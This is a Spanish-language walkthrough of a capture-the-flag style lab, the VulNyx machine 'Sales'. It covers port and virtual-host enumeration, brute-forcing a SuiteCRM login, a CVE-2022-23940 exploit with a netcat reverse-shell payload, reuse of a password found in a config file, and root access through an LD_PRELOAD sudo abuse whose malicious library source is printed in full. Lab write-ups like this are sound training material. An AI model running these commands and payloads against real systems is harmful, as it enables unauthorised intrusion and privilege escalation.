Information

Sales es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario Fenixia y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.116
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 19:20 CEST
Nmap scan report for 192.168.1.116
Host is up (0.000098s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
 nmap -sVC -p22,80 192.168.1.116
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 19:21 CEST
Nmap scan report for sales.nyx (192.168.1.116)
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:2c:11:05:8e:0a:ea:0b:df:52:60:ed:bf:b4:c2:92 (ECDSA)
|_  256 9d:5a:c5:8d:db:27:66:ca:35:30:05:1f:ad:25:40:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-title: AksisDesign
|_http-server-header: Apache/2.4.62 (Debian)

Shell (www-data)

80/TCP (HTTP)

Site

Al acceder al sitio web desde la IP hace un redirect al dominio sales.nyx

(Agrego el dominio encontrado sales.nyx a mi archivo /etc/hosts para futuros ataques)

Desde el dominio sales.nyx ahora carga el sitio web correctamente

En la sección AksisDesign Team enumero 4 posibles nombres de usuario

 cat users
Yuna Yoon
Elena Eve
Emma Baek
Rachel Choi

Directory Brute Force

 gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://sales.nyx/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://sales.nyx/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 307] [--> http://sales.nyx/images/]
/css                  (Status: 301) [Size: 304] [--> http://sales.nyx/css/]
/js                   (Status: 301) [Size: 303] [--> http://sales.nyx/js/]
/fonts                (Status: 301) [Size: 306] [--> http://sales.nyx/fonts/]
/server-status        (Status: 403) [Size: 274]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================

VHOST Brute Force

Obtengo el subdominio crm.sales.nyx que también agrego a mi archivo /etc/hosts

 gobuster vhost -w /opt/subdomains-top1million-5000.txt -u http://sales.nyx --append-domain --follow-redirect
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://sales.nyx
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /opt/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: crm.sales.nyx Status: 200 [Size: 11571]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

SuiteCRM

Encuentro un login de SuiteCRM y al intentar acceder realizando password guessing no obtengo éxito

Create Wordlist

Con los usuarios obtenidos en el sitio web, creo un wordlist de usuarios con username-anarchy

 cat users
Yuna Yoon
Elena Eve
Emma Baek
Rachel Choi

 git clone https://github.com/urbanadventurer/username-anarchy.git
 cd username-anarchy
 ./username-anarchy --input-file  ../users > ../users.dic

Ahora con cewl creo otra wordlist de posibles passwords

 cewl http://sales.nyx/ -w pass.dic
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
User & Password Brute Force

Realizo fuerza bruta de usuarios y passwords con wfuzz y obtengo yuna.yoon:AksisDesign

 wfuzz -c -w users.dic -w pass.dic -d 'module=Users&action=Authenticate&return_module=Users&return_action=Login&cant_login=&login_module=&login_action=&login_record=&login_token=&login_oauth_token=&login_mobile=&user_name=FUZZ&username_password=FUZ2Z&Login=Log+In' -u 'http://crm.sales.nyx/index.php' -L --hh=11570
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://crm.sales.nyx/index.php
Total requests: 11275

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                 
=====================================================================

000000436:   200        245 L    703 W      11579 Ch    "yuna.yoon - AksisDesign"                                                                                               

Total time: 264.3839
Processed Requests: 11275
Filtered Requests: 11274
Requests/sec.: 42.64630

Accedo con las credenciales obtenidas al SuiteCRM

CVE-2022-23940

Dentro de SuiteCRM enumero la versión 7.12.4

Encuentro el siguiente exploit, lo lanzo y obtengo una shell como usuario www-data

 python3 exploit.py -h http://crm.sales.nyx -u yuna.yoon -p AksisDesign --payload "busybox nc 192.168.1.5 443 -e /bin/sh"
INFO:CVE-2022-23940:Login did work - Trying to create scheduled report
 nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.116] 49088
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
template

Shell (eve)

Enumeration

Users

www-data@template:/$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
eve:x:1001:1001::/home/eve:/bin/bash

Config Files

Encuentro el password Ev3*CRm_DBaS3 en el archivo config.php

www-data@template:/$ grep -r password /var/www/suitecrm/config.php 
    'db_password' => 'Ev3*CRm_DBaS3',
  'default_password' => '',
      3 => 'system_generated_password',
      11 => 'password',
      3 => 'system_generated_password',
      11 => 'password',
  'passwordsetting' => 
    'generatepasswordtmpl' => 'd6f7aa46-4ec6-4c3a-6e95-683893bd0bb1',
    'lostpasswordtmpl' => 'd878552c-8b13-491f-53c0-6838932a3f86',
    'forgotpasswordON' => false,

Me convierto en usuario eve con las credenciales obtenidas

www-data@template:/$ su - eve
Password: 
eve@template:~$ id ; hostname
uid=1001(eve) gid=1001(eve) groups=1001(eve)
template

Privilege Escalation

Enumeration

Sudo

El usuario eve puede ejecutar como root el binario ping con sudo, también se observa que dispone de env_keep+=LD_PRELOAD y esto permite conservar la variable de entorno LD_PRELOAD, la cual me permite cargar librerías maliciosas antes de ejecutar el binario ping

eve@template:~$ sudo -l
Matching Defaults entries for eve on template:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD

User eve may run the following commands on template:
    (root) NOPASSWD: /bin/ping

Abuse

Creo y compilo una libreria maliciosa que me haga una secuencia de shell-escape

 cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

 gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Transfiero la libreria creada shell.so a la víctima

 python3 -m http.server 80
eve@template:~$ cd /dev/shm
eve@template:/dev/shm$ wget -q http://192.168.1.5/shell.so

Ejecuto ping con sudo cargando la libreria shell.so y me convierto en usuario root

eve@template:/dev/shm$ sudo -u root LD_PRELOAD=/dev/shm/shell.so /bin/ping
root@template:/dev/shm# id ; hostname
uid=0(root) gid=0(root) groups=0(root)
template

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@template:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
2f8e****************************
78b9****************************

Hasta aquí la resolución de la máquina Sales.

Happy Hacking!